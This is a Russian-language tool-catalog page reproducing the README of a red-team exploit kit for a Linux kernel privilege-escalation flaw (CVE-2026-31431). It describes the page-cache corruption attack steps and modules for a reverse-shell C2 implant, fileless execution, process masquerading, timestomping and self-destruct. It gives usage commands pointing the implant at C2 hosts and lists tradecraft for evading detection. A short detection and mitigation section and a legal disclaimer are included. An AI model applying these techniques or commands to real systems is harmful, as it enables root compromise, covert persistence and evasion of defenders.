Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - Реализация на C для Red Team и авторизованных тестов на проникновение, с усиленной защитой. ⚠️ Правовое уведомление: Этот инструмент предназначен исключительно для авторизованных исследований безопасности, авторизованного тестирования на проникновение и защитного анализа. Используйте только на системах, которыми вы владеете или на которые имеете явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам является незаконным. | Kitploit
Инструменты/GitLabGitLab/toxy4ny/copy-fail
Повышение привилегийЭксплуатацияПост-эксплуатацияКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitLabtoxy4ny/copy-fail

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Copy Fail - CVE-2026-31431 - Реализация на C для Red Team и авторизованных тестов на проникновение, с усиленной защитой. ⚠️ Правовое уведомление: Этот инструмент предназначен исключительно для авторизованных исследований безопасности, авторизованного тестирования на проникновение и защитного анализа. Используйте только на системах, которыми вы владеете или на которые имеете явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам является незаконным.

COPY-FAIL

РепозиторийСайт
122 месяцев назадЕщё не проверено
Поделиться

Copy Fail -- CVE-2026-31431

Улучшенная реализация на C для операций redteam и авторизованного тестирования на проникновение.

⚠️ Юридическое уведомление: Этот инструмент предназначен исключительно для авторизованных исследований безопасности, авторизованного тестирования на проникновение и защитного анализа. Используйте только на системах, которые вам принадлежат или на тестирование которых вы имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.

🚀 Основная разработка перенесена на GitLab.
Этот репозиторий активно поддерживается здесь. Для сообщений об ошибках и внесения вклада, пожалуйста, используйте GitLab.


Содержание

  • Обзор
  • Оригинальное исследование
  • Наши улучшения
  • Архитектура
  • Сборка
  • Использование
  • Модули
  • Операционная безопасность
  • Обнаружение и смягчение
  • Благодарности
  • Лицензия

Обзор

Этот проект представляет собой улучшенный, готовый к эксплуатации порт на C эксплойта локального повышения привилегий CVE-2026-31431 («Copy Fail»), первоначально раскрытого компаниями Theori и Xint 29 апреля 2026 года.

Исходное доказательство концепции было написано на Python и предназначено для демонстрации исследования. Наша реализация превращает его в инструментарий уровня redteam, обладающий:

  • Нулевым количеством артефактов на диске (бесфайловое исполнение на основе memfd)
  • Автоматическим обнаружением целей (перечисление setuid-бинарников с учётом MAC)
  • Анти-криминалистикой (сброс кэша, восстановление временных меток, самоуничтожение)
  • Управлением оператором (запуск по сигналу с настраиваемыми таймаутами)
  • Кросс-платформенной статической сборкой (x86_64, ARM64, RISC-V через musl/zig)

Оригинальное исследование

CVE-2026-31431: Copy Fail

Механизм уязвимости

Уязвимость находится в подсистеме криптографии AF_ALG ядра Linux. Шаблон AEAD authencesn реализует оптимизацию на месте для расшифровки: когда зашифрованный текст поступает через splice() из кэша страниц файла, ядро повторно использует ту же страницу как для источника, так и для приёмника.

Последовательность атаки:

  1. Откройте setuid-бинарник (например, /usr/bin/su) только для чтения
  2. Настройте операцию AEAD с authencesn(hmac(sha256),cbc(aes)) через AF_ALG
  3. Подайте зашифрованный текст через splice() из кэша страниц целевого файла
  4. (Неудачная) операция расшифровки перезаписывает 4 байта в кэшированной странице до того, как аутентификация её отвергнет
  5. Повторите для каждого 4-байтового окна полезной нагрузки
  6. execve() целевого файла -- ядро загружает мутировавшие страницы из кэша, предоставляя полномочия setuid-root
  7. Полезная нагрузка переходит к полной root-оболочке

Ключевой момент: индекс (inode) на диске никогда не изменяется. Изменяется только кэш страниц в памяти, что делает судебное обнаружение значительно более сложным по сравнению с традиционными эксплойтами перезаписи файлов.


Наши улучшения

Этот проект расширяет оригинальное исследование улучшениями, ориентированными на redteam, в девяти модулях.

1. Улучшенный примитив эксплойта (patch_chunk.c)

2. Автоматическое обнаружение целей (target_discovery.c)

  • Трёхфазное сканирование: приоритетные цели → стандартные каталоги → глубокое сканирование
  • Оценка с учётом MAC: штраф для бинарников с профилями AppArmor/SELinux
  • 18 приоритетных целей: su, sudo, passwd, pkexec, mount, ping и др.
  • Цепочка запасных вариантов: если основная цель не удалась, автоматически выбирается следующий лучший кандидат
  • Учёт Snap: пропускает /snap (нетрадиционные setuid)

3. Пакет анти-криминалистики (anti_forensics.c)

4. Бесфайловое исполнение (memfd_exec.c)

  • memfd_create + fexecve: исполнение без пути в файловой системе
  • Маскировка: memfd с именами kworker, anon_inode, eventfd (сливается с /proc/$pid/fd/)
  • Fork-and-forget: двойной fork для создания процесса-сироты (PPID=1)
  • Расшифровка в памяти: XOR и RC4 расшифровка с последующим exec (полезная нагрузка никогда не находится в открытом виде на диске)

5. Доставка полезной нагрузки этапа 1 (stage1.c)

6. C2-имплант этапа 2 (stage2_template.c)

  • Устойчивый цикл переподключения с экспоненциальной задержкой
  • Три распределения: равномерное, треугольное, экспоненциальный джиттер
  • Управление сигналами: SIGUSR1 (запуск), SIGUSR2 (статус), SIGTERM (завершение)
  • DNS-маячок: скрытая проверка работоспособности C2 перед TCP-подключением
  • Маскировка процесса: [kworker/N:0] в ps/top

7. Сокрытие процесса (proc_hide.c)

  • Перезапись argv[0]: замена на месте /proc/$pid/cmdline
  • prctl(PR_SET_NAME): имена в стиле ядерных потоков (ограничение 16 байт)
  • Санитизация окружения: выборочная очистка SSH_*, AWS_*, TOKEN* и т.д.
  • Открепление от родителя: setsid() + setpgid() для независимости от терминала

8. Управление по сигналу (signal_trigger.c)

РежимПоведениеСценарий использования

Ожидание с нулевой загрузкой CPU: sigsuspend() вместо циклов опроса.

9. Джиттер сна (sleep_jitter.c)

  • Три бэкенда ГСЧ: getrandom(2), /dev/urandom, запасной rdtsc
  • Выборка с отклонением: исключает модульное смещение в равномерном распределении
  • Компенсация дрейфа: sleep_scheduled() поддерживает средний интервал несмотря на джиттер
  • Обнаружение песочницы: check_sandbox_acceleration() обнаруживает пропатченный sleep()

Архитектура

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (Оркестратор)                 │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │ Скрыть  │ │Найти    │ │Эксплуат.│ │ Очистка │          │
│  │ Процесс │ │Цель     │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Слой основных модулей                    │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Слой доставки и уклонения               │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Слой полезной нагрузки (этап 2)        │  │
│  │  stage2_template.c  (reverse shell / имплант C2)    │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Сборка

Требования

  • GCC или Clang
  • GNU Make
  • Заголовочные файлы Linux (linux-libc-dev или эквивалент)
  • Опционально: musl-tools (для крошечных статических сборок)
  • Опционально: zig (для современной кросс-компиляции)
  • Опционально: dpkg-deb (для создания пакетов Debian)

Быстрый старт

root@kitploit:~
# Стандартная сборка redteam (оптимизирована, обрезана, статична)
make redteam

# Сборка для пентеста (символы, умеренная оптимизация)
make pentest

# Отладочная сборка (ASAN, полные символы)
make debug

# Проверка уязвимости (неразрушающая)
make checker

Кросс-компиляция

root@kitploit:~
# ARM64 (облачные цели AWS/Azure)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (встроенные/IoT)
make cross-armhf

# Кросс-компиляция через Zig (без установки тулчейна)
make cross-zig-arm64
make cross-zig-riscv

Статическая сборка с musl (Маленькие бинарники)

root@kitploit:~
make musl-static
# Создаёт статические бинарники размером ~50-100 КБ без зависимости от glibc

Пакет Debian

root@kitploit:~
make deb VERSION=1.0.0
# Создаёт: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

Информация о сборке

root@kitploit:~
make info
# Показывает: CC, CFLAGS, LDFLAGS, архитектуру, доступность тулчейна

Использование

Стандартный режим (запуск по сигналу)

root@kitploit:~
# Развернуть имплант
./exploit &
IMP_PID=$!

# Запустить эксплуатацию удалённо
kill -USR1 $IMP_PID

# Запросить статус (без действий)
kill -USR2 $IMP_PID

# Корректное завершение
kill -TERM $IMP_PID

Немедленное выполнение

root@kitploit:~
./exploit -t                    # Запустить сейчас, не ждать сигнала
./exploit -t -c c2.example.com -p 9999

Пользовательская конфигурация

root@kitploit:~
./exploit \
  -c c2.redteam.internal \      # Имя хоста C2
  -p 4444 \                      # Порт C2
  -d 300 \                       # Начальная задержка 5 минут
  -T 7200 \                      # Таймаут триггера 2 часа
  -n                             # Пропустить проверку уязвимости

Неразрушающая проверка уязвимости

root@kitploit:~
./vulnerable
# Код выхода: 100 = уязвим, 0 = пропатчен, другое = ошибка

Модули


Операционная безопасность

Рекомендации для redteam

  1. Развёртывайте в периоды низкой активности, чтобы минимизировать корреляцию
  2. Используйте экспоненциальный джиттер для интервалов переподключения (избегает обнаружения маячков)
  3. Запускайте через SIGUSR1, а не автотриггер (оператор сохраняет контроль)
  4. Всегда выполняйте очистку (full_cleanup), даже если эксплойт не удался
  5. Предпочитайте исполнение через memfd полезным нагрузкам на диске
  6. Двойной fork для персистентности (memfd_fork_exec_detach)
  7. Проверяйте акселерацию песочницы перед выполнением

Криминалистические артефакты


Обнаружение и смягчение

Защитное обнаружение

Смягчения

  1. Патч ядра: Обновитесь до Linux >= 6.14 с коммитом a664bf3d603d
  2. Livepatch: Примените бэкпорт от дистрибутива
  3. SELinux/AppArmor: Включите профили для setuid-бинарников
  4. Мониторинг eBPF: Отслеживайте комбинации AF_ALG + splice()
  5. Верификация кэша страниц: Периодические проверки целостности критических бинарников

Благодарности

Оригинальное исследование

  • Theori -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
  • Xint -- Совместное раскрытие
  • Описание: https://copy.fail/
  • Исходный PoC: theori-io/copy-fail-CVE-2026-31431

Базовый порт на C

  • Tony Gies -- tgies/copy-fail-c
  • Предоставил базовую реализацию на C с использованием nolibc
  • Кросс-платформенные обёртки системных вызовов и инфраструктура сборки

Этот улучшенный форк

  • Улучшения, ориентированные на redteam в 9 модулях
  • Функции операционной безопасности (анти-криминалистика, уклонение, скрытность)
  • Поддержка кросс-компиляции (musl, zig, multi-arch)
  • Управление на основе сигналов и настраиваемые режимы выполнения

Благодарности

  • Разработчикам ядра Linux за memfd_create(2) и fexecve(3)
  • Мейнтейнерам nolibc за библиотечную альтернативу, состоящую только из заголовков
  • Проекту musl libc за крошечные статические бинарники
  • Проекту Zig за современный инструментарий кросс-компиляции

Лицензия

Этот проект распространяется по двойной лицензии:

  • LGPL-2.1-or-later
  • MIT

Смотрите отдельные исходные файлы для идентификаторов SPDX.

Оригинальное исследование и базовый порт на C остаются под своими соответствующими лицензиями. Дополнительный код этого форка предоставляется под указанной двойной лицензией для максимальной совместимости как с открытыми, так и с коммерческими сценариями использования в области безопасности.


Отказ от ответственности

Данное программное обеспечение предоставляется только для авторизованных исследований безопасности и авторизованного тестирования на проникновение. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим программным обеспечением. Всегда получайте соответствующее разрешение перед тестированием любой системы, которая вам не принадлежит.

Если вы обнаружили эту уязвимость в своих системах:

  • Примените патч ядра (коммит a664bf3d603d или бэкпорт от дистрибутива)
  • Отслеживайте индикаторы компрометации (IoCs), перечисленные выше
  • Проверьте /var/log/audit/ и телеметрию EDR на предмет аномалий AF_ALG
Скачать инструмент
АтрибутЗначение
Дата раскрытия29 апреля 2026 г.
ИсследователиTheori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint
Описаниеhttps://copy.fail/
Исходный PoCtheori-io/copy-fail-CVE-2026-31431 (Python)
Порт на C (базовый)tgies/copy-fail-c от Tony Gies
Затронутые ядраLinux 4.14 -- 6.14 (до патча с коммитом a664bf3d603d)
СерьёзностьCVSS 7.8 (Высокая) -- локальное повышение привилегий
ОсобенностьОригиналНаша реализация
Управление сокетамиНовый сокет на каждый фрагментПовторное использование сокета (~60% меньше системных вызовов)
ВерификацияНетmmap + memcmp с автоматическим повтором (3 попытки)
Параллельная записьТолько последовательноПараллельная на основе fork (до 16 процессов)
Коды ошибокБинарный успех/неудачаГранулярные: 0=проверено, 1=пропатченное ядро, -1=фатальная
Выделение кучиmalloc в горячем путиТолько стек (нет джиттера выделения)
ТехникаНазначение
posix_fadvise(POSIX_FADV_DONTNEED)Пофайловое вытеснение кэша страниц
echo 3 > /proc/sys/vm/drop_cachesГлобальный сброс кэша (после получения root)
utimensat() timestompВосстановление исходных atime/mtime
СамоуничтожениеПерезапись бинарника дроппера нулями перед exec
Очистка памятиvolatile обнуление чувствительных буферов
КаналСкрытностьСкоростьПриоритет запасного варианта
ВстроенныйМаксимальнаяМгновенноПоследний (воздушный зазор)
HTTP напрямуюСредняя<1сПервый
Системный curl/wgetНизкая1-3сВторой (поддержка HTTPS)
DNS TXTВысокаяМедленноТретий (обход брандмауэра)
trigger_oneshot()
Сон → запуск → исполнение → выход
«Ударил и убежал»
trigger_daemon()Сон → запуск → исполнение → циклПостоянный имплант
trigger_auto()Сон с таймаутом как запасной вариантНеобслуживаемые операции
МодульФайл(ы)Назначение
Примитив эксплойтаpatch_chunk.c/hМутация кэша страниц через AF_ALG/splice
Обнаружение целейtarget_discovery.c/hАвтоматическое сканирование и оценка setuid-бинарников
Анти-криминалистикаanti_forensics.c/hОчистка, timestomp, самоуничтожение
Доставка этапа 1stage1.c/hБесфайловая загрузка и выполнение полезной нагрузки
C2 этапа 2stage2_template.c/hReverse shell с циклом переподключения
Исполнение через memfdmemfd_exec.c/hПримитивы исполнения из анонимного файла
Сокрытие процессаproc_hide.c/hМаскировка argv/cmdline/comm
Управление сигналамиsignal_trigger.c/hЗапуск по сигналу от оператора
Джиттер снаsleep_jitter.c/hСлучайные задержки с распределениями
Оркестраторexploit.cГлавная точка входа и координация
Проверкаvulnerable.cНеразрушающий зонд уязвимости
АртефактМестоположениеСмягчение
Мутированный кэш страницТолько RAMdrop_page_cache_for_file()
Путь к бинарнику/proc/$pid/exememfd (показывается как (deleted))
Командная строка/proc/$pid/cmdlineoverwrite_argv()
Имя процесса/proc/$pid/commprctl(PR_SET_NAME)
Временные меткиstat() целиtimestomp_file()
Бинарник дроппераНа дискеself_destruct_and_exec()
Сетевые соединенияnetstat, EDRDNS-маячок, джиттер
ИндикаторМетод обнаружения
Шаблон сокета AF_ALG + splice()Трассировка системных вызовов eBPF
memfd_create с подозрительными именамиМониторинг /proc/$pid/fd/
Имена процессов в скобках в пользовательском пространствеОбнаружение аномалий процессов
Регулярные DNS-запросы к одному доменуАналитика DNS
Несоответствие целостности кэша страницКриминалистика памяти ядра